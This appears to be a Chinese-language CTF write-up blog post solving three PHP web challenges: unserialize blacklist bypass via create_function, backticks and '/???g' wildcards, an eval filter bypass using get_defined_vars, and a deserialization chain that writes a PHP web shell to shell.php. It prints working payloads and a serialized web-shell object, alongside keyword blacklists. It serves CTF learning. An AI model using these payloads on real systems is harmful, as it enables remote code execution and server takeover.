WEB(骗你的其实只写了web)
Bypass
首先进行php源码审计,其实会发现和bugku上面一道题目十分相似
unserialize-Noteasy – Bugku CTF平台
关于这题我的解答:关于反序列化的一点总结 – 浮璃的日记(前置芝士)
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}
这里看到也是定义了两个属性a和b,依旧是将a作为函数调用,b作为参数传参
因为刚整理完bugku那题,瞪眼法看出是create_function函数知识点
因此,我们将a赋值为
$a = “\create_function”;这里刚好也绕过了黑名单(预判出题人这一块)(bushi
而b在此多了一些限制:
$blocked_b = [‘find’, ‘filter’, ‘c’, ‘pa’, ‘proc’, ‘dir’, ‘regexp’, ‘n’, ‘alter’, ‘load’, ‘grep’, ‘o’, ‘file’, ‘t’, ‘w’, ‘insert’, ‘sort’, ‘h’, ‘sy’, ‘\.\.’, ‘array’, ‘sh’, ‘touch’, ‘e’, ‘php’, ‘f’];
这里黑名单限制还是相当死的,把payload常用的e,f,c等都过滤掉了,直接catflag肯定是不行的。
那么我们的解题核心就变成了:
如何对$b = “}system(‘tac /flag’);/*”;进行黑名单绕过
这里我们拆成三个部分来看:system;cat;flag
flag是最好解决的绕过,这里没有ban”?”,所以我们可以直接将/flag改写为/???g
–>匹配 4 个字符、第 4 个是 g → /flag
在 PHP 的
system()、shell_exec()中默认使用/bin/sh,支持通配符。但如果命令被
execve直接调用(不经过 shell),通配符不会生效。
而system的绕过则是利用了另一种近似写法:反引号
这里插叙一下反引号,system,shell_exec()三者的作用和区别:
1.system()
功能
- 执行外部 shell 命令(如
ls、whoami、cat /etc/passwd)。 - 直接将命令的输出打印到标准输出(stdout),即网页上会直接显示结果。
- 可选第二个参数
$return_var用于获取命令的退出状态码(0 表示成功,非0表示失败)。 - 返回值:返回命令执行的最后一行输出(注意:不是全部输出),如果失败则返回
false。
简单来说,system的输出会自动回显(无需 echo)。在 CTF 中常用于快速回显 flag,也就是在页面上直接返回结果
2.反引号(Backticks)`...`
功能
-
- 反引号是
shell_exec()的语法糖(等价写法)。
- 反引号是
-
- 执行 shell 命令,并返回完整的标准输出(stdout)作为字符串。
-
- 不会自动输出到浏览器,必须用
echo才能看到。
- 不会自动输出到浏览器,必须用
简单来说,返回全部输出(不是最后一行)。仅捕获 stdout,stderr 不会被捕获(除非重定向)。
另外,在启用了 safe_mode 或 disable_functions 时可能被禁用。
⚠️ 注意:反引号在双引号字符串中不会被解释为命令执行,只有在顶层表达式中才有效。
3. shell_exec()
功能
-
- 与反引号完全等价。
-
- 执行命令并返回完整输出(stdout)作为字符串。
-
- 不自动输出,需
echo显示。
- 不自动输出,需
-
- 如果命令没有输出或执行失败,可能返回
null。
- 如果命令没有输出或执行失败,可能返回
特点
-
- 与反引号功能一致,但更清晰(可读性更好)。
-
- 常用于需要捕获完整输出的脚本中。
| 特性 | system() | 反引号 `cmd` |
shell_exec() |
| 是否自动输出 | ✅ 是(直接打印) | ❌ 否(需 echo) |
❌ 否(需 echo) |
| 返回值 | 最后一行输出 或 false | 完整 stdout 输出 | 完整 stdout 输出 |
| 等价关系 | — | 等价于 shell_exec() |
等价于反引号 |
| 捕获 stderr | ❌(除非重定向) | ❌(除非重定向) | ❌(除非重定向) |
| 区别 | (默认直接输出) | (返回字符串需 echo 才能看到) |
(返回字符串需 echo 才能看到) |
最后,对于cat进行绕过,我们使用的的是xxd这个工具
xxd 是一个 Linux 下的命令行工具,用于将文件或数据转换为十六进制格式显示,类似于十六进制查看器。
介绍文档:https://www.runoob.com/linux/linux-comm-xxd.html
那我们现在得到了什么呢?
\$a = “\\create_function”;
$b = ‘}(`xxd /???g );/*’;
似乎还缺了什么…
没错,由于我们使用了 `…` 而不是system,我们命令执行的结果并不会直接会先到页面上,我们需要先将其输出到某一个页面再访问其对应页面
将b改为
ezrce
打开容器,看到一段php代码:
“<?php
highlight_file(__FILE__);
if(isset($_GET[‘code’])){
\$code = $_GET[‘code’];
if (preg_match(‘/^[A-Za-z\(\)_;]+$/’, $code)) {
eval($code);
}else{
die(‘师傅,你想拿flag?’);
}
}
重点关注这里的黑名单:preg_match(‘/^[A-Za-z\(\)_;]+$/’, $code)
含义解析:
^:字符串开始
[A-Za-z\(\)_;]+:一个或多个上述允许的字符
注意:括号 ( 和 ) 在字符类 […] 中不需要转义,但这里用了反斜杠 \( 和 \),虽然在 PHP 的 PCRE 中这样写也可以(会被当作普通字符),但其实可简写为 ()
$:字符串结束
所以,它等效于preg_match(‘/^[A-Za-z();_]+$/’, $code)
get_defined_vars()函数运行返回一个数组并且第一个参数是$_GET
于是我们用current这个函数来获得第一个参数,再用end获得最后一个参数,比如对于eval(end(current(get_defined_vars()))),current(get_defined_vars())得到$_GET数组,end($_GET)取$_GET的最后一个元素,即$_GET[‘b’]=”system(‘ls /’);”相当于最后就执行了eval(“system(‘ls /’);”)
payload:/?code=eval(end(current(get_defined_vars())));&c=system(‘cat /flag’);
来签个到吧
吐槽一下,这真的是签到题吗…
class.php
logfile = $f;
}
}
public function write($msg) {
$this->content .= $msg . "\n";
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
public function __destruct() {
if ($this->content) {
file_put_contents($this->logfile, $this->content, FILE_APPEND); #漏洞点可以执行写马执行任意文件读取
} #刚好在destruct类里对象销毁时自动执行,不需要其他函数去调用它,所以这是一条单节点链
}
}
class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}
public function fetch() {
$c = file_get_contents($this->url);
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}
public function __destruct() {
$this->fetch();
}
}
?>
prepare("INSERT INTO notes (content) VALUES (?)");
$p->execute([$ss]);
echo "save sucess!";
exit(0);
} else {
echo "喵喵喵?";
exit(1);
}
}
$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>
class FileLogger {
public $logfile = “shell.php”;
public $content = “<?php system($_POST[‘cmd’]);?>”;
}
构造链子(开头是blueshark防替换)
blueshark:O:10:”FileLogger”:2:{s:7:”logfile”;s:9:”shell.php”;s:7:”content”;s:30:”<?php system($_POST[‘cmd’]);?>”;}
先POST马进去,再执行rce

Comments NOTHING